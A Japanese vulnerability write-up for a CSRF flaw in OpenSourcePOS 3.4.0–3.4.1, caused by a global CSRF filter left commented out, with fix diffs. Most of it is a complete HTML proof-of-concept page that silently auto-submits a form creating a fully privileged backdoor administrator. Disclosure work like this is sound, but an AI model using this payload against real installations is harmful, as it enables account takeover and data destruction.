
CVE-2025-68434 の PoC と解説: OpenSourcePOS における重大なCSRF。無効化されたフィルター設定を悪用し、認証されていない攻撃者が静かに不正な管理者アカウントを作成し、システム全体を乗っ取ることを可能にします。バージョン 3.4.0 未満で検証済み。
| メタデータ | 詳細 |
|---|
| CVE ID | CVE-2025-68434 |
| 重要度 | Critical (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 脆弱性の種類 | クロスサイトリクエストフォージェリ (CWE-352) |
| 影響を受けるバージョン | OpenSourcePOS v3.4.0, v3.4.1 |
| 修正済みバージョン | v3.4.2 |
| 脆弱なコンポーネント | app/Config/Filters.php (グローバルセキュリティフィルター) |
| 報告者 | Aditya Singh (Nixon-H) |
OpenSourcePOS の中核セキュリティ設定において、重大なクロスサイトリクエストフォージェリ (CSRF) の脆弱性が発見されました。アプリケーションのグローバル CSRF 保護メカニズムが、app/Config/Filters.php ファイル内で明示的に無効化されていました。これは、未解決のままであった一時的な開発用「TODO」が原因です。
この設定ミスにより、アプリケーションは有効なアンチフォージェリトークンを検証せずに状態変更を伴う HTTP リクエスト (POST) を受け入れるようになりました。未認証のリモート攻撃者は、ログイン済みの管理者を悪意のあるページに誘導することでこれを悪用できます。攻撃者のページは、被害者のブラウザに管理操作をサイレントに強制します。具体的には、完全な権限を持つ新しい「バックドア」管理者アカウントを作成し、システム全体の乗っ取りにつながります。
脆弱性は グローバルフィルター 設定 (app/Config/Filters.php) にありました。CodeIgniter 4 では、$globals 配列がすべてのリクエストで実行されるフィルターを決定します。
影響を受けるバージョンでは、csrf フィルターが before 実行リスト内でコメントアウトされており、アプリケーション全体の CSRF 保護が実質的に無効化されていました。
脆弱なコード (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
この行がコメントアウトされていたため、csrf_token_name をチェックするミドルウェアは決して実行されませんでした。アプリケーションは、認証のためにセッションクッキー (ospos_session) のみに依存して、任意のオリジンからの POST リクエストを受け入れていました。
csrf_exploit.html ファイルを外部サーバーにホストします。valid_12345) が即座に作成されます。POC/csrf_exploit.html)これは、完全な権限を持つ不正な管理者を作成するために使用された正確なペイロードです:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(画像とエクスプロイトファイルは POC/ ディレクトリにあります)
スクリーンショット 1: エクスプロイトの実行
スクリーンショット 2: 作成された不正アカウント
🎥 ビデオデモ: PoC 動画を視聴 / ダウンロード
作成されたアカウントは一時的なセッションではなく、永続的なデータベースエントリです。
grant_config 権限を使用して、攻撃者はストア設定を変更できます。
/items/delete) をトリガーし、製品在庫データベース全体を消去して業務を停止させます。この脆弱性は OpenSourcePOS v3.4.2 で修正されました。修正には、アプリケーションの AJAX を多用する販売インターフェースにおける競合状態を処理するための、複数ステップにわたるアーキテクチャ変更が必要でした。
app/Config/Filters.php において、グローバル CSRF フィルターのコメントアウトを解除しました。
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
app/Config/Security.php において、開発者はクッキーベースからセッションベースのトークンに切り替え、並行する AJAX リクエスト (例: 販売モジュール) での問題を防ぐためにトークンの再生成を無効にしました。
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
app/Views/partial/header_js.php ファイルが更新され、クライアントサイドのクッキーから読み取るのではなく、トークンハッシュをサーバーから直接注入するようになり、セキュリティ体制が向上しました。
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d)、研究者が検証。